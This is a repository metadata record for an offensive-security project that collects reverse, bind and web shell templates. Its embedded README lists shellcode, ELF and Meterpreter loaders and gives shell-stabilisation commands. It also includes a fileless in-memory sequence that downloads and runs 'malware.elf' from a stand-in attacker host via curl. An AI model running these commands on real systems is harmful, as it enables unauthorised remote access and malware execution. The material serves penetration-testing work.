{"id":20812748,"url":"https://github.com/dadevel/shells","last_synced_at":"2025-07-31T01:08:41.804Z","repository":{"id":133485579,"uuid":"476057405","full_name":"dadevel/shells","owner":"dadevel","description":"Collection of Reverse, Bind \u0026 Web Shells","archived":false,"fork":false,"pushed_at":"2025-03-06T05:43:23.000Z","size":207,"stargazers_count":10,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-31T09:12:01.536Z","etag":null,"topics":["bind-shell","offsec","pentesting","reverse-shell","web-shell"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dadevel.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-03-30T21:30:11.000Z","updated_at":"2025-03-06T05:43:21.000Z","dependencies_parsed_at":null,"dependency_job_id":"935eeeb3-5d69-4037-84cd-8af382a69ee8","html_url":"https://github.com/dadevel/shells","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dadevel%2Fshells","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dadevel%2Fshells/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dadevel%2Fshells/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dadevel%2Fshells/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dadevel","download_url":"https://codeload.github.com/dadevel/shells/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252863366,"owners_count":21816018,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bind-shell","offsec","pentesting","reverse-shell","web-shell"],"created_at":"2024-11-17T20:57:54.886Z","updated_at":"2025-05-07T10:47:33.006Z","avatar_url":"https://github.com/dadevel.png","language":"PHP","readme":"# Shells\n\n![Demo](./assets/demo.gif)\n\nA collection of reverse, bind and web shells from all over the internet.\n\n## Setup\n\na) With [pipx](https://github.com/pypa/pipx).\n\n~~~ bash\npipx install git+https://github.com/dadevel/shells.git@main\n~~~\n\nb) With `pip`.\n\n~~~ bash\npip install --user git+https://github.com/dadevel/shells.git@main\n~~~\n\n## Usage\n\nJust run `getshell` and select one of the many templates.\n\nSome advanced templates require manual steps:\n\n- [TCP reverse shell in C++ as Windows DLL](./getshell/templates/reverse/connector/windows-cpp/)\n- [Cross-platform TCP reverse shell with Cosmopolitan Libc](./getshell/templates/reverse/connector/cosmopolitan/)\n- [TCP reverse shell in Go](./getshell/templates/reverse/connector/golang/)\n- [Reverse shell listener with Tmux and Socat](./getshell/templates/reverse/listener/tmux-socat-multiplexer/)\n- [Python ELF loader via `memfd_create()` on Linux](./getshell/templates/exec/memfd-create.py)\n- [Python shellcode loader on Linux](./getshell/templates/exec/mmap-ctype.py)\n- [Meterpreter loader for Windows](./getshell/templates/exec/windows-minildr/)\n\n## Tips\n\nMetasploit payloads like `windows/shell_reverse_tcp` are one of the few reverse shells for Windows that support interactive commands.\n\n### Linux PTY\n\nSpawn a PTY and stabilize your shell with Python.\n\n~~~ bash\npython -c 'import pty;pty.spawn(\"/bin/bash\")'\n# ctrl+z\necho \"stty sane;stty rows $LINES cols $COLUMNS;export TERM=xterm;\" | xclip -sel clip\nstty raw -echo \u0026\u0026 fg\n# paste clipboard and press enter\n~~~\n\nAlternatively spawn a PTY with `script`.\n\n~~~ bash\nscript -q -c /bin/bash /dev/null\n~~~\n\n### Linux memfd_create()\n\nCreate file in memory with Python 3.8 or newer ([source](https://twitter.com/randomdude999_/status/1629875560401780736)).\n\n~~~\n$ python3 -c \"from os import*;fork()or(setsid(),print(f'/proc/{getpid()}/fd/{memfd_create(sep)}'),kill(0,19))\"\n/proc/139856/fd/3\n$ curl -o /proc/139856/fd/3 https://attacker.com/malware.elf\n$ /proc/139856/fd/3\n~~~\n\n### Other interesting tools\n\n- [Kraken](https://github.com/kraken-ng/kraken), multi-language webshell\n- [xc](https://github.com/xct/xc), reverse shell for Linux and Windows written in Go\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdadevel%2Fshells","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdadevel%2Fshells","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdadevel%2Fshells/lists"}